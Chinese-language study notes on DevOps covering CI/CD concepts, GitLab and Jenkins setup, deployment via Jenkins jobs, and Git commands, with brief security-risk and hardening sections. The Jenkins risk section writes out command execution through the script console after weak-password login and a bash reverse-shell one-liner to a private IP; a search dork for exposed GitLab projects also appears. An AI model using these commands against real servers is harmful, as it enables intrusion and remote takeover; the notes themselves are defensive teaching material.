1 devops是什么?
软件开发人员(Dev)
IT运维技术人员(Ops)
是一组过程、方法与系统的统称,用于促进开发、技术运营和质量保障(QA)部门之间的沟通、协作与整合
通过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。
我理解是,通过一系列方法/制度/工具,使开发/测试/运维的工作流程紧密结合,减少不必要的时间浪费,使开发=>测试=>部署上线整个流程加速
资本主义压榨手法
常见方案:DEV+sec+OPS
实践:
- SDL
- 安全基线检查
2 持续集成
持续集成概述:持续集成(Continuous integration)是指开发者在代码的开发过程中,可以频繁的将代码部署集成到主干,并自动化测试。
持续交付:持续交付指的是在持续集成的环境基础上,将代码部署到预生产环境。
持续部署:在持续交付的基础上,把部署到生产环境的过程自动化。
3 jenkins和 gitlab
Jenkins 概述:是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
GitLab 概述:是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web界面进行访问公开的私人项目。Ruby on Rails 是一个可以使你开发、部署、维护 web 应用程序变得简单的框架。私有github
不同点:
1、GitHub如果要使用私有仓库,是需要付费的。GitLab可以在上面创建私人的免费仓库。
2、GitLab让开发团队对他们的代码仓库拥有更多的控制,相比于GitHub,它有不少的特色:允许免费设置仓库权限;允许用户选择分享一个project的部分代码;允许用户设置project的获取权限,进一步的提升安全性;可以设置获取到团队整体的改进进度;通过 innersourcing 让不在权限范围内的人访问不到该资源。
总结:从代码私有性方面来看,有时公司并不希望员工获取到全部的代码,这个时候 GitLab 无疑是更好的选择
开发只负责开发,也就是将代码上传到git上
运维负责部署,将代码推送到web服务器上部署运行
jenkins负责将代码推送到服务器上,gitlab负责存储代码
1 开发者将新版本 push 到 Gitlab。
2 Gitlab 随后触发 jenkins master 节点进行一次 build。(通过 web hook 或者定时检测)
3 jenkins master 节点将这个build任务分配给若干个注册的slave节点中的一个,这个slave点根据一个事先设置好的脚本进行build。这个脚本可以做的事情很多,比如编译,测试,生成测试报告等等。这些原本需要手动完成的任务都可以交给 jenkins 来做。
4 在 build 中要进行编译,一般使用分布式编译器 distcc 来加快编译速度。
3.1 gitlab安装配置
- 安装
yum makecache
yum -y install curl policycoreutils cronie policycoreutils-python openssh-server openssh-clients postfix git wget patch
scp gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm root@172.16.73.21:/
rpm -ivh /gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm
修改 gitlab 外部访问地址
vi /etc/gitlab/gitlab.rb
重置配置,重启服务
gitlab-ctl reconfigure
gitlab-ctl restart
访问ip
创建root密码
- 配置
创建组
建项目
或
新建文件
测试克隆同步
附录:gitlab相关命令
关闭 gitlab: # gitlab-ctl stop
启动 gitlab: # gitlab-ctl start
重启 gitlab: # gitlab-ctl restart
gitlab 主配置文件:/etc/gitlab/gitlab.rb //可以自定义一些邮件服务等
日志地址:/var/log/gitlab/ // 对应各服务
服务地址:/var/opt/gitlab/ // 对应各服务的主目录
仓库地址:/var/opt/gitlab/git-data //记录项目仓库等提交信息
重置配置:gitlab-ctl reconfigure //不要乱用,会重置为最原始的配置的
重启服务:gitlab-ctl stop/start/restart //启动命令
3.2 gitlab安全风险
未授权获取gitlab项目信息
搜索引擎:inurl:/explore/projects
直接可以搜到公网的gitlab项目信息
如果项目不是私密,是公开,则会像下面这样导致源码泄露,敏感信息泄露
3.3 gitlab安全建设
- 公网上的gitlab所有项目设置非公开
/explore/projects
修改url- HW中作为诱饵,公开假项目,内藏导向蜜罐的配置信息,溯源攻击者
3.4 jenkins安装配置
- 安装
yum -y install java-1.8.0
java -version
1)最新版安装,慢
cd /etc/yum.repos.d/
wget http://pkg.jenkins.io/redhat/jenkins.repo
rpm --import http://pkg.jenkins.io/redhat/jenkins.io.key
yum makecache
yum install jenkins
2)rpm包安装
下载上传rpm
rpm -ivh jenkins-2.190.1-1.1.noarch.rpm
- 配置
修改用户和端口
vi /etc/sysconfig/jenkins
重启服务,开机自启
/etc/init.d/jenkins start
chkconfig jenkins on
访问ip:端口
/var/lib/jenkins/secrets/initialAdminPassword
储存着jenkins的root密码
因为插件安装从国外下载,通过上传插件文件夹来安装
systemctl stop jenkins
cd /var/lib/jenkins/
rm -rf plugins/
chown -R jenkins:jenkins plugins/
systemctl start jenkins
重新访问jenkins的web页面,选择安装推荐的插件
创建管理员用户
点点点
3.5 jenkins安全风险
弱口令导致的后台危险操作
- 后台命令执行反弹shell
url:ip:port/script
println "whoami".execute().text
反弹:bash -i >& /dev/tcp/192.168.1.24/9999 0>&1
- 凭据泄露
ssh/gitlab=>后门/不良内容上传 - 构建执行命令导致远程服务器被getshell
3.6 jenkins安全建设
- 强口令
- 低权限
- 版本更新=>及时防止Nday攻击
4 jenkins+gitlab部署web服务器
通过Jenkins、gitlab对远程web服务器部署代码更新
添加凭据
配置SSH
创建任务
rm -rf /opt/man1
cd /opt
git clone http://172.16.73.21/man/man1.git
cp -rf /opt/man1/* /var/www/html
保存
立即构建就会执行上面的命令,作用是同步更新gitlab的源码到web服务器上
控制台输出看构建过程
以后gitlab更新源码,在jenkins构建一下就可以同步更新了
5 git
5.1 配置
git的配置分用户和项目
-
用户:
~/.gitconfig
用户目录下的配置文件只适用于该用户,若使用git config时加了--global
选项,读写的就是这个文件
git config --global user.name "root"
git config --global user.email "admin@example.com"
cat ~/.gitconfig
-
项目:当前项目中的
.git/config
项目下的配置文件仅对当前项目有效,如果想要特定项目的配置与用户配置不同,进入到特定项目下,去掉--global选项重新配置即可
cd wordpress/
git config user.name "root"
git config user.email "admin@example.com"
cat .git/config
5.2 常用命令
设置全局用户名:git config --global user.name "name"
设置全局邮箱:git config --global user.email "admin@example.com"
列出用户的全局配置:git config --global --list
添加文件到暂存区:git add file
提交到版本库:git commit -m "注释"
查看工作区状态:git status
提交代码到git服务器:git push
拉取代码到本地:git pull
查看操作日志:git log
git版本回滚,HEAD为当前版本,加一个为上一个,^上一个:git rest --hard HEAD^^
获取每次提交的ID:git reflog
回退到指定ID版本:git reset --hard 5ae4b06
查看当前所处分支:git branch
从git服务器更新某文件覆盖本地文件:git checkout -- file
5.3 工作区和暂存区
文件提交git过程:工作区->暂存区->git服务器
工作区是编辑文件的区域,需要将工作区修改好的文件add到暂存区才能提交到git服务器
可以选择添加工作区的一个或多个文件到暂存区
提交需要设置用户和邮箱,可以设置全局也可以进项目文件夹设置本地
git config --global user.name "Administrator"
git config --global user.email "admin@example.com"
分支提交:
git clone x
cd x
git branch x1 #创建分支
git checkout x1 #切换分支
git branch #查看所处分支
touch test.txt
git add test.txt #提交到暂存区
git commit -m "add test.txt" #提交到版本库
git push -u origin x1 #上传到分支
主支提交:
git clone http://192.168.17.216/root/git-test.git
cd git-test
touch README.md
git add README.md
git commit -m "add README"
git push -u origin master
推送现有文件夹:
cd existing_folder
git init
git remote add origin http://192.168.17.216/root/git-test.git
git add .
git commit -m "Initial commit"
git push -u origin master
推送现有的 Git 仓库:
cd existing_repo
git remote rename origin old-origin
git remote add origin http://192.168.17.216/root/git-test.git
git push -u origin --all
git push -u origin --tags